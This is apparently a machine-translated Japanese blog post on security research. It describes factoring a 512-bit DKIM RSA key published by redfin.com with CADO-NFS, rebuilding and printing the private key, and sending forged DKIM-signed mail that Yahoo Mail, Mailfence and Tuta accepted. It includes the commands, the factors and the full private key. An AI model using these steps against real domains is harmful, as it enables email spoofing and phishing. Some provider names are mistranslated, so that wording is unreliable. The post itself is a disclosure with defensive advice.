1736340645
2025-01-08 12:32:00
私たちの中で 上位 100 万 Web サイトの SPF、DKIM、DMARC レコードの調査、長さが 1,024 ビット未満の DKIM 公開鍵が 1,700 以上発見されたことに私たちは驚きました。 1,024 ビットより短い RSA キーは安全でないと考えられており、DKIM の導入以来 RSA キーの使用は非推奨になっているため、この発見は予想外でした。 RFC 8301 2018年に。
私たちは好奇心に駆られて、これらの鍵の 1 つを解読できるかどうかを調査することにしました。私たちの目標は、公開 RSA キーから秘密キーを抽出し、元の送信者であるかのように電子メールに署名できるようにすることでした。また、この侵害されたキーで署名された電子メールが、Gmail、Outlook.com、Yahoo Mail などの主要な電子メール プロバイダーの DKIM 検証チェックに合格するかどうか、あるいは、このような短いキーで生成された署名の検証を完全に拒否するかどうかにも興味がありました。 。
実験では、次の場所で 512 ビット RSA 公開キーを発見した後、redfin.com を選択しました。 key1._domainkey.redfin.com (現在は利用できません):
$ dig +short TXT key1._domainkey.redfin.com "k=rsa; p=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAMx7VnoRmk/wFPeFWxrVUde6AJQI51/uPFL2CbiHGMnRSnLjPs72AgxAVHIe5QrNQ2riR5+7u47Sgh5R5va/d0cCAwEAAQ=="
RSA 公開キーのデコード
公開キー。DKIM レコードにあります。 p タグは、でエンコードされます ASN.1 DER フォーマット、さらにBase64としてエンコードされます。キーをデコードして係数を取得するには (n) と公開指数 (e)、数行の Python コードを使用しました。
$ python3
>>> from Crypto.PublicKey import RSA
>>> RSA.import_key('-----BEGIN PUBLIC KEY-----n' + 'MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAMx7VnoRmk/wFPeFWxrVUde6AJQI51/uPFL2CbiHGMnRSnLjPs72AgxAVHIe5QrNQ2riR5+7u47Sgh5R5va/d0cCAwEAAQ==' + 'n-----END PUBLIC KEY-----')
RsaKey(n=10709580243955269690347257968368575486652256021267387585731784527165077094358215924099792804326677548390607229176966588251215467367272433485332943072098119, e=65537)
RSA 係数の因数分解
係数を使用して n 次のステップは 2 つの素数を特定することでした。 p そして q、その積は以下に等しい n。ファクタリングとして知られるこのプロセスは、効率的に実行するのが非常に難しい場合があります。幸いなことに、私たちは という強力なオープンソース ツールを見つけました。 CADO-NFSこれは、大きな整数を因数分解するために使用できる最も効率的な方法である Number Field Sieve (NFS) アルゴリズムの使いやすい実装を提供します。
ファクタリングには多くのコンピューティングパワーが必要であり、何日もコンピュータを拘束したくなかったので、クラウドサーバーをレンタルすることにしました。 8 つの専用 vCPU (AMD EPYC 7003 シリーズ) と Hetzner の 32 GB RAM を備えたサーバーを選択し、OS として Ubuntu をインストールしました。 CADO-NFS のセットアップは簡単でした。
git clone https://gitlab.inria.fr/cado-nfs/cado-nfs.git cd cado-nfs make
サーバーにタスクに十分なメモリがあることを確認するために、32 GB のスワップ スペースを追加しました。
sudo fallocate -l 32G /swapfile sudo chmod 600 /swapfile sudo mkswap /swapfile sudo swapon /swapfile
を呼び出して因数分解を開始しました。 cado-nfs.py スクリプトを使用して n 入力として:
./cado-nfs.py 10709580243955269690347257968368575486652256021267387585731784527165077094358215924099792804326677548390607229176966588251215467367272433485332943072098119
このプロセスには 8 vCPU サーバーで約 86 時間かかり、因数分解に成功しました。 n の中へ p そして q:
Info:Complete Factorization / Discrete logarithm: Total cpu/elapsed time for entire Complete Factorization 2.20529e+06/309865 [3d 14:04:25] 97850895333751392558280999318309697780438485965134147739065017624372104720767 109447953515671602102748820944693252789237215829169932130613751100276125683257
より強力なサーバーを選択するか、ワークロードを複数のシステムに分散する (CADO-NFS によって簡素化されるプロセス) ことでタスクを迅速化できたかもしれませんが、私たちは時間に追われているわけではなく、待ち時間を気にしませんでした。
RSA秘密キーの構築
決定後 p そして q、RSA 秘密キーを構築するために必要なコンポーネントがすべて揃っていました。このプロセスには、Python と PyCryptodome ライブラリの使用が含まれます。
$ python3 >>> from Crypto.PublicKey import RSA >>> from Crypto.Util.number import inverse >>> p = 97850895333751392558280999318309697780438485965134147739065017624372104720767 >>> q = 109447953515671602102748820944693252789237215829169932130613751100276125683257 >>> e = 65537 >>> n = p * q >>> phi = (p-1) * (q-1) >>> d = inverse(e, phi) >>> key = RSA.construct((n, e, d, p, q)) >>> private_key = key.export_key() >>> print(private_key.decode())
これらの Python 行は、すぐに使用できる PEM 形式で秘密キーを出力します。
-----BEGIN RSA PRIVATE KEY----- MIIBOgIBAAJBAMx7VnoRmk/wFPeFWxrVUde6AJQI51/uPFL2CbiHGMnRSnLjPs72 AgxAVHIe5QrNQ2riR5+7u47Sgh5R5va/d0cCAwEAAQJAPliEv2dKk4DyA54nbwEH mSzfLEOiuD8dKXZW9GpMhou72DYYcc5YD0PeQW0uGGsusnTZXRU3Kd3cmVfeR+np 4QIhANhVpOQ440Gqlda3nqCOAag12jq8ET+qr1G7VL8x9PF/AiEA8flYr5rUO6Io /5HRoHq6p7dA75PRK+7v79o0/ijfTjkCIEdWPpCPfckKomxykllpWnyIfZT+rUVs WHHAL1r480erAiAz3xD87ALtGbESQE8gyM50n5sjAJwJf/odf7h2d4qPOQIhAKwr Nv6s5cQiwbYgm1KND83nrkxe6uFQlu9ilkdwAIY4 -----END RSA PRIVATE KEY-----
@redfin.com からの DKIM 署名付きテストメールの送信
RSA 秘密キーを OpenDKIM セットアップに統合して、テスト段階に進みました。私たちは、FROM アドレス [email protected] を使用して単純な電子メールを作成し、それをさまざまな電子メール ホスティング サービスに送信しました。ほとんどのプロバイダーは、512 ビット キーが安全ではないものとして正しく識別され、DKIM 署名を拒否しましたが、3 つの主要プロバイダーである Yahoo Mail、Mailfence、Tuta は、 dkim=pass 結果。
各プロバイダーの対応は次のとおりです。
- Gメール: 失敗
- 見通し: 失敗
- ヤフーメール: 合格
- ゾーホー: 失敗
- ファーストメール: 失敗
- プロトンメール: 失敗
- メールフェンス: 合格
- 合計: 合格
- GMX: 失敗
- オンメール: 失敗
redfin.com にも有効な DMARC レコードがあることを考慮すると (v=DMARC1;p=reject;pct=100;rua=mailto:[email protected];ruf=mailto:[email protected];ri=3600;fo=1;)、DKIM チェックに合格します。 redfin.com また、私たちの電子メールが DMARC 検証に合格し、次の要件を満たしていることも意味します。 ビミ。
最終的な考え
30 年前、512 ビット RSA 公開キーの解読は、スーパーコンピューターでのみ達成できる偉業でした。現在では、クラウド サーバー上で 8 米ドル未満で、わずか数時間でこれを行うことが可能です。また、自宅に 16 コア以上の強力なコンピューターがある場合は、これをさらに迅速かつコスト効率よく達成できます。
最近では、512 ビットまたは 768 ビットのキーを使用する正当な理由はありません。電子メールプロバイダーは、1,024 ビットより短い RSA キーで生成された DKIM 署名を自動的に拒否する必要があります。私たちは Yahoo、Mailfence、Tuta に調査結果について警告し、このアドバイスを共有しました。
また、ドメイン所有者は、1,024 ビットの最小標準に準拠していない古い DKIM レコードがないか DNS 設定を確認するなどの措置を講じる必要があります。 DKIM レコードを確認する簡単な方法 p タグは Base64 文字をカウントします。1,024 ビット RSA 公開キーには少なくとも 216 文字が含まれます。
#クラウド内で #ドル未満で #ビット #DKIM #キーをクラックした方法